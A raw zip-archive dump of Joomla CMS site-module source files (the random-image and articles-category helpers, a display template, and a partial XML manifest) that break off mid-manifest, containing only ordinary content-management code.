 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * Helper for mod_random_image
 *
 * @since  1.5
 */
class ModRandomImageHelper
{
	/**
	 * Retrieves a random image
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters object
	 * @param   array                      $images   list of images
	 *
	 * @return  mixed
	 */
	public static function getRandomImage(&$params, $images)
	{
		$width  = $params->get('width', 100);
		$height = $params->get('height', null);

		$i      = count($images);
		$random = mt_rand(0, $i - 1);
		$image  = $images[$random];
		$size   = getimagesize(JPATH_BASE . '/' . $image->folder . '/' . $image->name);

		if ($size[0] < $width)
		{
			$width = $size[0];
		}

		$coeff = $size[0] / $size[1];

		if ($height === null)
		{
			$height = (int) ($width / $coeff);
		}
		else
		{
			$newheight = min($height, (int) ($width / $coeff));

			if ($newheight < $height)
			{
				$height = $newheight;
			}
			else
			{
				$width = $height * $coeff;
			}
		}

		$image->width  = $width;
		$image->height = $height;
		$image->folder = str_replace('\\', '/', $image->folder);

		return $image;
	}

	/**
	 * Retrieves images from a specific folder
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module params
	 * @param   string                     $folder   folder to get the images from
	 *
	 * @return array
	 */
	public static function getImages(&$params, $folder)
	{
		$type   = $params->get('type', 'jpg');
		$files  = array();
		$images = array();

		$dir = JPATH_BASE . '/' . $folder;

		// Check if directory exists
		if (is_dir($dir))
		{
			if ($handle = opendir($dir))
			{
				while (false !== ($file = readdir($handle)))
				{
					if ($file !== '.' && $file !== '..' && $file !== 'CVS' && $file !== 'index.html')
					{
						$files[] = $file;
					}
				}
			}

			closedir($handle);

			$i = 0;

			foreach ($files as $img)
			{
				if (!is_dir($dir . '/' . $img) && preg_match('/' . $type . '/', $img))
				{
					$images[$i] = new stdClass;

					$images[$i]->name   = $img;
					$images[$i]->folder = $folder;
					$i++;
				}
			}
		}

		return $images;
	}

	/**
	 * Get sanitized folder
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module params objects
	 *
	 * @return  mixed
	 */
	public static function getFolder(&$params)
	{
		$folder   = $params->get('folder');
		$LiveSite = JUri::base();

		// If folder includes livesite info, remove
		if (StringHelper::strpos($folder, $LiveSite) === 0)
		{
			$folder = str_replace($LiveSite, '', $folder);
		}

		// If folder includes absolute path, remove
		if (StringHelper::strpos($folder, JPATH_SITE) === 0)
		{
			$folder = str_replace(JPATH_BASE, '', $folder);
		}

		return str_replace(array('\\', '/'), DIRECTORY_SEPARATOR, $folder);
	}
}
PK!oBt�!mod_random_image/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_random_image
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

if (!count($images))
{
	echo Text::_('MOD_RANDOM_IMAGE_NO_IMAGES');

	return;
}
?>

<div class="mod-randomimage random-image">
<?php if ($link) : ?>
<a href="<?php echo htmlspecialchars($link, ENT_QUOTES, 'UTF-8'); ?>">
<?php endif; ?>
	<?php echo HTMLHelper::_('image', $image->folder . '/' . htmlspecialchars($image->name, ENT_COMPAT, 'UTF-8'), '', array('width' => $image->width, 'height' => $image->height)); ?>
<?php if ($link) : ?>
</a>
<?php endif; ?>
</div>
PK!Ĩ掙:�: mod_articles_category/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_category
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

$com_path = JPATH_SITE . '/components/com_content/';

JLoader::register('ContentHelperRoute', $com_path . 'helpers/route.php');
JModelLegacy::addIncludePath($com_path . 'models', 'ContentModel');

/**
 * Helper for mod_articles_category
 *
 * @since  1.6
 */
abstract class ModArticlesCategoryHelper
{
	/**
	 * Get a list of articles from a specific category
	 *
	 * @param   \Joomla\Registry\Registry  &$params  object holding the models parameters
	 *
	 * @return  mixed
	 *
	 * @since  1.6
	 */
	public static function getList(&$params)
	{
		// Get an instance of the generic articles model
		$articles = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$app       = JFactory::getApplication();
		$appParams = $app->getParams();
		$articles->setState('params', $appParams);

		$articles->setState('list.start', 0);
		$articles->setState('filter.published', 1);

		// Set the filters based on the module params
		$articles->setState('list.limit', (int) $params->get('count', 0));
		$articles->setState('load_tags', $params->get('show_tags', 0) || $params->get('article_grouping', 'none') === 'tags');

		// Access filter
		$access     = !JComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id'));
		$articles->setState('filter.access', $access);

		// Prep for Normal or Dynamic Modes
		$mode = $params->get('mode', 'normal');

		switch ($mode)
		{
			case 'dynamic' :
				$option = $app->input->get('option');
				$view   = $app->input->get('view');

				if ($option === 'com_content')
				{
					switch ($view)
					{
						case 'category' :
						case 'categories' :
							$catids = array($app->input->getInt('id'));
							break;
						case 'article' :
							if ($params->get('show_on_article_page', 1))
							{
								$article_id = $app->input->getInt('id');
								$catid      = $app->input->getInt('catid');

								if (!$catid)
								{
									// Get an instance of the generic article model
									$article = JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request' => true));

									$article->setState('params', $appParams);
									$article->setState('filter.published', 1);
									$article->setState('article.id', (int) $article_id);
									$item   = $article->getItem();
									$catids = array($item->catid);
								}
								else
								{
									$catids = array($catid);
								}
							}
							else
							{
								// Return right away if show_on_article_page option is off
								return;
							}
							break;

						case 'featured' :
						default:
							// Return right away if not on the category or article views
							return;
					}
				}
				else
				{
					// Return right away if not on a com_content page
					return;
				}

				break;

			case 'normal' :
			default:
				$catids = $params->get('catid');
				$articles->setState('filter.category_id.include', (bool) $params->get('category_filtering_type', 1));
				break;
		}

		// Category filter
		if ($catids)
		{
			if ($params->get('show_child_category_articles', 0) && (int) $params->get('levels', 0) > 0)
			{
				// Get an instance of the generic categories model
				$categories = JModelLegacy::getInstance('Categories', 'ContentModel', array('ignore_request' => true));
				$categories->setState('params', $appParams);
				$levels = $params->get('levels', 1) ?: 9999;
				$categories->setState('filter.get_children', $levels);
				$categories->setState('filter.published', 1);
				$categories->setState('filter.access', $access);
				$additional_catids = array();

				foreach ($catids as $catid)
				{
					$categories->setState('filter.parentId', $catid);
					$recursive = true;
					$items     = $categories->getItems($recursive);

					if ($items)
					{
						foreach ($items as $category)
						{
							$condition = (($category->level - $categories->getParent()->level) <= $levels);

							if ($condition)
							{
								$additional_catids[] = $category->id;
							}
						}
					}
				}

				$catids = array_unique(array_merge($catids, $additional_catids));
			}

			$articles->setState('filter.category_id', $catids);
		}

		// Ordering
		$ordering = $params->get('article_ordering', 'a.ordering');

		switch ($ordering)
		{
			case 'random':
				$articles->setState('list.ordering', JFactory::getDbo()->getQuery(true)->Rand());
				break;

			case 'rating_count':
			case 'rating':
				$articles->setState('list.ordering', $ordering);
				$articles->setState('list.direction', $params->get('article_ordering_direction', 'ASC'));

				if (!JPluginHelper::isEnabled('content', 'vote'))
				{
					$articles->setState('list.ordering', 'a.ordering');
				}

				break;

			default:
				$articles->setState('list.ordering', $ordering);
				$articles->setState('list.direction', $params->get('article_ordering_direction', 'ASC'));
				break;
		}

		// Filter by multiple tags
		$articles->setState('filter.tag', $params->get('filter_tag', array()));

		$articles->setState('filter.featured', $params->get('show_front', 'show'));
		$articles->setState('filter.author_id', $params->get('created_by', array()));
		$articles->setState('filter.author_id.include', $params->get('author_filtering_type', 1));
		$articles->setState('filter.author_alias', $params->get('created_by_alias', array()));
		$articles->setState('filter.author_alias.include', $params->get('author_alias_filtering_type', 1));
		$excluded_articles = $params->get('excluded_articles', '');

		if ($excluded_articles)
		{
			$excluded_articles = explode("\r\n", $excluded_articles);
			$articles->setState('filter.article_id', $excluded_articles);

			// Exclude
			$articles->setState('filter.article_id.include', false);
		}

		$date_filtering = $params->get('date_filtering', 'off');

		if ($date_filtering !== 'off')
		{
			$articles->setState('filter.date_filtering', $date_filtering);
			$articles->setState('filter.date_field', $params->get('date_field', 'a.created'));
			$articles->setState('filter.start_date_range', $params->get('start_date_range', '1000-01-01 00:00:00'));
			$articles->setState('filter.end_date_range', $params->get('end_date_range', '9999-12-31 23:59:59'));
			$articles->setState('filter.relative_date', $params->get('relative_date', 30));
		}

		// Filter by language
		$articles->setState('filter.language', $app->getLanguageFilter());

		$items = $articles->getItems();

		// Display options
		$show_date        = $params->get('show_date', 0);
		$show_date_field  = $params->get('show_date_field', 'created');
		$show_date_format = $params->get('show_date_format', 'Y-m-d H:i:s');
		$show_category    = $params->get('show_category', 0);
		$show_hits        = $params->get('show_hits', 0);
		$show_author      = $params->get('show_author', 0);
		$show_introtext   = $params->get('show_introtext', 0);
		$introtext_limit  = $params->get('introtext_limit', 100);

		// Find current Article ID if on an article page
		$option = $app->input->get('option');
		$view   = $app->input->get('view');

		if ($option === 'com_content' && $view === 'article')
		{
			$active_article_id = $app->input->getInt('id');
		}
		else
		{
			$active_article_id = 0;
		}

		// Prepare data for display using display options
		foreach ($items as &$item)
		{
			$item->slug    = $item->id . ':' . $item->alias;

			/** @deprecated Catslug is deprecated, use catid instead. 4.0 */
			$item->catslug = $item->catid . ':' . $item->category_alias;

			if ($access || in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language));
			}
			else
			{
				$menu      = $app->getMenu();
				$menuitems = $menu->getItems('link', 'index.php?option=com_users&view=login');

				if (isset($menuitems[0]))
				{
					$Itemid = $menuitems[0]->id;
				}
				elseif ($app->input->getInt('Itemid') > 0)
				{
					// Use Itemid from requesting page only if there is no existing menu
					$Itemid = $app->input->getInt('Itemid');
				}

				$item->link = JRoute::_('index.php?option=com_users&view=login&Itemid=' . $Itemid);
			}

			// Used for styling the active article
			$item->active      = $item->id == $active_article_id ? 'active' : '';
			$item->displayDate = '';

			if ($show_date)
			{
				$item->displayDate = JHtml::_('date', $item->$show_date_field, $show_date_format);
			}

			if ($item->catid)
			{
				$item->displayCategoryLink  = JRoute::_(ContentHelperRoute::getCategoryRoute($item->catid));
				$item->displayCategoryTitle = $show_category ? '<a href="' . $item->displayCategoryLink . '">' . $item->category_title . '</a>' : '';
			}
			else
			{
				$item->displayCategoryTitle = $show_category ? $item->category_title : '';
			}

			$item->displayHits       = $show_hits ? $item->hits : '';
			$item->displayAuthorName = $show_author ? $item->author : '';

			if ($show_introtext)
			{
				$item->introtext = JHtml::_('content.prepare', $item->introtext, '', 'mod_articles_category.content');
				$item->introtext = self::_cleanIntrotext($item->introtext);
			}

			$item->displayIntrotext = $show_introtext ? self::truncate($item->introtext, $introtext_limit) : '';
			$item->displayReadmore  = $item->alternative_readmore;
		}

		return $items;
	}

	/**
	 * Strips unnecessary tags from the introtext
	 *
	 * @param   string  $introtext  introtext to sanitize
	 *
	 * @return mixed|string
	 *
	 * @since  1.6
	 */
	public static function _cleanIntrotext($introtext)
	{
		$introtext = str_replace(array('<p>','</p>'), ' ', $introtext);
		$introtext = strip_tags($introtext, '<a><em><strong>');
		$introtext = trim($introtext);

		return $introtext;
	}

	/**
	 * Method to truncate introtext
	 *
	 * The goal is to get the proper length plain text string with as much of
	 * the html intact as possible with all tags properly closed.
	 *
	 * @param   string   $html       The content of the introtext to be truncated
	 * @param   integer  $maxLength  The maximum number of charactes to render
	 *
	 * @return  string  The truncated string
	 *
	 * @since   1.6
	 */
	public static function truncate($html, $maxLength = 0)
	{
		$baseLength = strlen($html);

		// First get the plain text string. This is the rendered text we want to end up with.
		$ptString = JHtml::_('string.truncate', $html, $maxLength, $noSplit = true, $allowHtml = false);

		for ($maxLength; $maxLength < $baseLength;)
		{
			// Now get the string if we allow html.
			$htmlString = JHtml::_('string.truncate', $html, $maxLength, $noSplit = true, $allowHtml = true);

			// Now get the plain text from the html string.
			$htmlStringToPtString = JHtml::_('string.truncate', $htmlString, $maxLength, $noSplit = true, $allowHtml = false);

			// If the new plain text string matches the original plain text string we are done.
			if ($ptString === $htmlStringToPtString)
			{
				return $htmlString;
			}

			// Get the number of html tag characters in the first $maxlength characters
			$diffLength = strlen($ptString) - strlen($htmlStringToPtString);

			// Set new $maxlength that adjusts for the html tags
			$maxLength += $diffLength;

			if ($baseLength <= $maxLength || $diffLength <= 0)
			{
				return $htmlString;
			}
		}

		return $html;
	}

	/**
	 * Groups items by field
	 *
	 * @param   array   $list                        list of items
	 * @param   string  $fieldName                   name of field that is used for grouping
	 * @param   string  $article_grouping_direction  ordering direction
	 * @param   null    $fieldNameToKeep             field name to keep
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public static function groupBy($list, $fieldName, $article_grouping_direction, $fieldNameToKeep = null)
	{
		$grouped = array();

		if (!is_array($list))
		{
			if ($list == '')
			{
				return $grouped;
			}

			$list = array($list);
		}

		foreach ($list as $key => $item)
		{
			if (!isset($grouped[$item->$fieldName]))
			{
				$grouped[$item->$fieldName] = array();
			}

			if ($fieldNameToKeep === null)
			{
				$grouped[$item->$fieldName][$key] = $item;
			}
			else
			{
				$grouped[$item->$fieldName][$key] = $item->$fieldNameToKeep;
			}

			unset($list[$key]);
		}

		$article_grouping_direction($grouped);

		return $grouped;
	}

	/**
	 * Groups items by date
	 *
	 * @param   array   $list                        list of items
	 * @param   string  $type                        type of grouping
	 * @param   string  $article_grouping_direction  ordering direction
	 * @param   string  $month_year_format           date format to use
	 * @param   string  $field                       date field to group by
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public static function groupByDate($list, $type = 'year', $article_grouping_direction = 'ksort', $month_year_format = 'F Y', $field = 'created')
	{
		$grouped = array();

		if (!is_array($list))
		{
			if ($list == '')
			{
				return $grouped;
			}

			$list = array($list);
		}

		foreach ($list as $key => $item)
		{
			switch ($type)
			{
				case 'month_year' :
					$month_year = StringHelper::substr($item->$field, 0, 7);

					if (!isset($grouped[$month_year]))
					{
						$grouped[$month_year] = array();
					}

					$grouped[$month_year][$key] = $item;
					break;

				case 'year' :
				default:
					$year = StringHelper::substr($item->$field, 0, 4);

					if (!isset($grouped[$year]))
					{
						$grouped[$year] = array();
					}

					$grouped[$year][$key] = $item;
					break;
			}

			unset($list[$key]);
		}

		$article_grouping_direction($grouped);

		if ($type === 'month_year')
		{
			foreach ($grouped as $group => $items)
			{
				$date                      = new JDate($group);
				$formatted_group           = $date->format($month_year_format);
				$grouped[$formatted_group] = $items;

				unset($grouped[$group]);
			}
		}

		return $grouped;
	}

	/**
	 * Groups items by tags
	 *
	 * @param   array   $list       list of items
	 * @param   string  $direction  ordering direction
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public static function groupByTags($list, $direction = 'ksort')
	{
		$grouped  = array();
		$untagged = array();

		if (!$list)
		{
			return $grouped;
		}

		foreach ($list as $item)
		{
			if ($item->tags->itemTags)
			{
				foreach ($item->tags->itemTags as $tag)
				{
					$grouped[$tag->title][] = $item;
				}
			}
			else
			{
				$untagged[] = $item;
			}
		}

		$direction($grouped);

		if ($untagged)
		{
			$grouped['MOD_ARTICLES_CATEGORY_UNTAGGED'] = $untagged;
		}

		return $grouped;
	}
}
PK!Ѹ-ճ=�=/mod_articles_category/mod_articles_category.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_articles_category</name>
	<author>Joomla! Project</author>
	<creationDate>February 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_ARTICLES_CATEGORY_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\ArticlesCategory</namespace>
	<files>
		<filename module="mod_articles_category">mod_articles_category.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_articles_category.ini</language>
		<language tag="en-GB">language/en-GB/mod_articles_category.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORY" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="mode"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_MODE_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_MODE_DESC"
					default="normal"
					validate="options"
					>
					<option value="normal">MOD_ARTICLES_CATEGORY_OPTION_NORMAL_VALUE</option>
					<option value="dynamic">MOD_ARTICLES_CATEGORY_OPTION_DYNAMIC_VALUE</option>
				</field>

				<field
					name="show_on_article_page"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_CATEGORY_FIELD_SHOWONARTICLEPAGE_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_SHOWONARTICLEPAGE_DESC"
					default="1"
					filter="integer"
					showon="mode:dynamic"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
			</fieldset>

			<fieldset
				name="filtering"
				label="MOD_ARTICLES_CATEGORY_FIELD_GROUP_FILTERING_LABEL"
			>

				<field
					name="count"
					type="number"
					label="MOD_ARTICLES_CATEGORY_FIELD_COUNT_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_COUNT_DESC"
					default="0"
					filter="integer"
				/>

				<field
					name="show_front"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_SHOWFEATURED_LABEL"
					default="show"
					validate="options"
					>
					<option value="show">JSHOW</option>
					<option value="hide">JHIDE</option>
					<option value="only">MOD_ARTICLES_CATEGORY_OPTION_ONLYFEATURED_VALUE</option>
				</field>

				<field
					name="filteringspacer0"
					type="spacer"
					hr="true"
				/>

				<field
					name="category_filtering_type"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_CATEGORY_FIELD_CATFILTERINGTYPE_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">MOD_ARTICLES_CATEGORY_OPTION_EXCLUSIVE_VALUE</option>
					<option value="1">MOD_ARTICLES_CATEGORY_OPTION_INCLUSIVE_VALUE</option>
				</field>

				<field
					name="catid"
					type="category"
					label="JCATEGORY"
					extension="com_content"
					multiple="true"
					layout="joomla.form.field.list-fancy-select"
					filter="intarray"
					class="multipleCategories"
				/>

				<field
					name="show_child_category_articles"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_CATEGORY_FIELD_SHOWCHILDCATEGORYARTICLES_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">MOD_ARTICLES_CATEGORY_OPTION_EXCLUDE_VALUE</option>
					<option value="1">MOD_ARTICLES_CATEGORY_OPTION_INCLUDE_VALUE</option>
				</field>

				<field
					name="levels"
					type="number"
					label="MOD_ARTICLES_CATEGORY_FIELD_CATDEPTH_LABEL"
					default="1"
					filter="integer"
					showon="show_child_category_articles:1"
				/>

				<field
					name="filteringspacer1"
					type="spacer"
					hr="true"
				/>

				<field
					name="filter_tag"
					type="tag"
					label="JTAG"
					mode="nested"
					multiple="true"
					filter="intarray"
					class="multipleTags"
				/>

				<field
					name="filteringspacer2"
					type="spacer"
					hr="true"
				/>

				<field
					name="author_filtering_type"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_CATEGORY_FIELD_AUTHORFILTERING_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">MOD_ARTICLES_CATEGORY_OPTION_EXCLUSIVE_VALUE</option>
					<option value="1">MOD_ARTICLES_CATEGORY_OPTION_INCLUSIVE_VALUE</option>
				</field>

				<field
					name="created_by"
					type="author"
					label="MOD_ARTICLES_CATEGORY_FIELD_AUTHOR_LABEL"
					multiple="true"
					layout="joomla.form.field.list-fancy-select"
					filter="intarray"
					class="multipleAuthors"
				/>

				<field
					name="filteringspacer3"
					type="spacer"
					hr="true"
				/>

				<field
					name="author_alias_filtering_type"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_CATEGORY_FIELD_AUTHORALIASFILTERING_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">MOD_ARTICLES_CATEGORY_OPTION_EXCLUSIVE_VALUE</option>
					<option value="1">MOD_ARTICLES_CATEGORY_OPTION_INCLUSIVE_VALUE</option>
				</field>

				<field
					name="created_by_alias"
					type="sql"
					label="MOD_ARTICLES_CATEGORY_FIELD_AUTHORALIAS_LABEL"
					multiple="true"
					layout="joomla.form.field.list-fancy-select"
					query="select distinct(created_by_alias) from #__content where created_by_alias != '' order by created_by_alias ASC"
					key_field="created_by_alias"
					value_field="created_by_alias"
					class="multipleAuthorAliases"
				/>

				<field
					name="filteringspacer4"
					type="spacer"
					hr="true"
				/>

				<field
					name="excluded_articles"
					type="textarea"
					label="MOD_ARTICLES_CATEGORY_FIELD_EXCLUDEDARTICLES_LABEL"
					cols="10"
					rows="3"
				/>

				<field
					name="filteringspacer5"
					type="spacer"
					hr="true"
				/>

				<field
					name="date_filtering"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_DATEFILTERING_LABEL"
					default="off"
					validate="options"
					>
					<option value="off">MOD_ARTICLES_CATEGORY_OPTION_OFF_VALUE</option>
					<option value="range">MOD_ARTICLES_CATEGORY_OPTION_DATERANGE_VALUE</option>
					<option value="relative">MOD_ARTICLES_CATEGORY_OPTION_RELATIVEDAY_VALUE</option>
				</field>

				<field
					name="date_field"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_DATERANGEFIELD_LABEL"
					default="a.created"
					showon="date_filtering!:off"
					validate="options"
					>
					<option value="a.created">MOD_ARTICLES_CATEGORY_OPTION_CREATED_VALUE</option>
					<option value="a.modified">MOD_ARTICLES_CATEGORY_OPTION_MODIFIED_VALUE</option>
					<option value="a.publish_up">MOD_ARTICLES_CATEGORY_OPTION_STARTPUBLISHING_VALUE</option>
				</field>

				<field
					name="start_date_range"
					type="calendar"
					label="MOD_ARTICLES_CATEGORY_FIELD_STARTDATE_LABEL"
					translateformat="true"
					showtime="true"
					size="22"
					filter="user_utc"
					showon="date_filtering:range"
				/>

				<field
					name="end_date_range"
					type="calendar"
					label="MOD_ARTICLES_CATEGORY_FIELD_ENDDATE_LABEL"
					translateformat="true"
					showtime="true"
					size="22"
					filter="user_utc"
					showon="date_filtering:range"
				/>

				<field
					name="relative_date"
					type="number"
					label="MOD_ARTICLES_CATEGORY_FIELD_RELATIVEDATE_LABEL"
					default="30"
					filter="integer"
					showon="date_filtering:relative"
				/>

			</fieldset>

			<fieldset
				name="ordering"
				label="MOD_ARTICLES_CATEGORY_FIELD_GROUP_ORDERING_LABEL"
			>

				<field
					name="article_ordering"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_ARTICLEORDERING_LABEL"
					default="a.title"
					validate="options"
					>
					<option value="a.ordering">MOD_ARTICLES_CATEGORY_OPTION_ORDERING_VALUE</option>
					<option value="fp.ordering">MOD_ARTICLES_CATEGORY_OPTION_ORDERINGFEATURED_VALUE</option>
					<option value="a.hits" requires="hits">MOD_ARTICLES_CATEGORY_OPTION_HITS_VALUE</option>
					<option value="a.title">JGLOBAL_TITLE</option>
					<option value="a.id">MOD_ARTICLES_CATEGORY_OPTION_ID_VALUE</option>
					<option value="a.alias">JFIELD_ALIAS_LABEL</option>
					<option value="a.created">MOD_ARTICLES_CATEGORY_OPTION_CREATED_VALUE</option>
					<option value="modified">MOD_ARTICLES_CATEGORY_OPTION_MODIFIED_VALUE</option>
					<option value="publish_up">MOD_ARTICLES_CATEGORY_OPTION_STARTPUBLISHING_VALUE</option>
					<option value="a.publish_down">MOD_ARTICLES_CATEGORY_OPTION_FINISHPUBLISHING_VALUE</option>
					<option value="random">MOD_ARTICLES_CATEGORY_OPTION_RANDOM_VALUE</option>
					<option value="rating_count" requires="vote">MOD_ARTICLES_CATEGORY_OPTION_VOTE_VALUE</option>
					<option value="rating" requires="vote">MOD_ARTICLES_CATEGORY_OPTION_RATING_VALUE</option>
				</field>

				<field
					name="article_ordering_direction"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_ARTICLEORDERINGDIR_LABEL"
					default="ASC"
					validate="options"
					>
					<option value="DESC">MOD_ARTICLES_CATEGORY_OPTION_DESCENDING_VALUE</option>
					<option value="ASC">MOD_ARTICLES_CATEGORY_OPTION_ASCENDING_VALUE</option>
				</field>
			</fieldset>

			<fieldset
				name="grouping"
				label="MOD_ARTICLES_CATEGORY_FIELD_GROUP_GROUPING_LABEL"
				>

				<field
					name="article_grouping"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_ARTICLEGROUPING_LABEL"
					default="none"
					validate="options"
					>
					<option value="none">JNONE</option>
					<option value="year">MOD_ARTICLES_CATEGORY_OPTION_YEAR_VALUE</option>
					<option value="month_year">MOD_ARTICLES_CATEGORY_OPTION_MONTHYEAR_VALUE</option>
					<option value="author">JAUTHOR</option>
					<option value="category_title">JCATEGORY</option>
					<option value="tags">JTAG</option>
				</field>

				<field
					name="date_grouping_field"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_DATEGROUPINGFIELD_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_DATEGROUPINGFIELD_DESC"
					default="created"
					showon="article_grouping:year,month_year"
					validate="options"
					>
					<option value="created">MOD_ARTICLES_CATEGORY_OPTION_CREATED_VALUE</option>
					<option value="modified">MOD_ARTICLES_CATEGORY_OPTION_MODIFIED_VALUE</option>
					<option value="publish_up">MOD_ARTICLES_CATEGORY_OPTION_STARTPUBLISHING_VALUE</option>
				</field>

				<field
					name="month_year_format"
					type="text"
					label="MOD_ARTICLES_CATEGORY_FIELD_MONTHYEARFORMAT_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_MONTHYEARFORMAT_DESC"
					default="F Y"
					showon="article_grouping:year,month_year"
				/>

				<field
					name="article_grouping_direction"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_ARTICLEGROUPINGDIR_LABEL"
					default="ksort"
					showon="article_grouping!:none"
					validate="options"
					>
					<option value="krsort">MOD_ARTICLES_CATEGORY_OPTION_DESCENDING_VALUE</option>
					<option value="ksort">MOD_ARTICLES_CATEGORY_OPTION_ASCENDING_VALUE</option>
				</field>

			</fieldset>

			<fieldset
				name="display"
				label="MOD_ARTICLES_CATEGORY_FIELD_GROUP_DISPLAY_LABEL"
				>

				<field
					name="link_titles"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_CATEGORY_FIELD_LINKTITLES_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="show_date"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="JDATE"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_date_field"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_DATEFIELD_LABEL"
					default="created"
					showon="show_date:1"
					validate="options"
					>
					<option value="created">MOD_ARTICLES_CATEGORY_OPTION_CREATED_VALUE</option>
					<option value="modified">MOD_ARTICLES_CATEGORY_OPTION_MODIFIED_VALUE</option>
					<option value="publish_up">MOD_ARTICLES_CATEGORY_OPTION_STARTPUBLISHING_VALUE</option>
				</field>

				<field
					name="show_date_format"
					type="text"
					label="MOD_ARTICLES_CATEGORY_FIELD_DATEFIELDFORMAT_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_DATEFIELDFORMAT_DESC"
					default="Y-m-d H:i:s"
					showon="show_date:1"
				/>

				<field
					name="show_category"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="JCATEGORY"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_hits"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_CATEGORY_FIELD_SHOWHITS_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_author"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="JAUTHOR"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_tags"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="JTAG"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_introtext"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_CATEGORY_FIELD_SHOWINTROTEXT_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="introtext_limit"
					type="number"
					label="MOD_ARTICLES_CATEGORY_FIELD_INTROTEXTLIMIT_LABEL"
					default="100"
					filter="integer"
					showon="show_introtext:1"
				/>

				<field
					name="show_readmore"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="JGLOBAL_SHOW_READMORE_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_readmore_title"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="JGLOBAL_SHOW_READMORE_TITLE_LABEL"
					default="1"
					filter="integer"
					showon="show_readmore:1"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
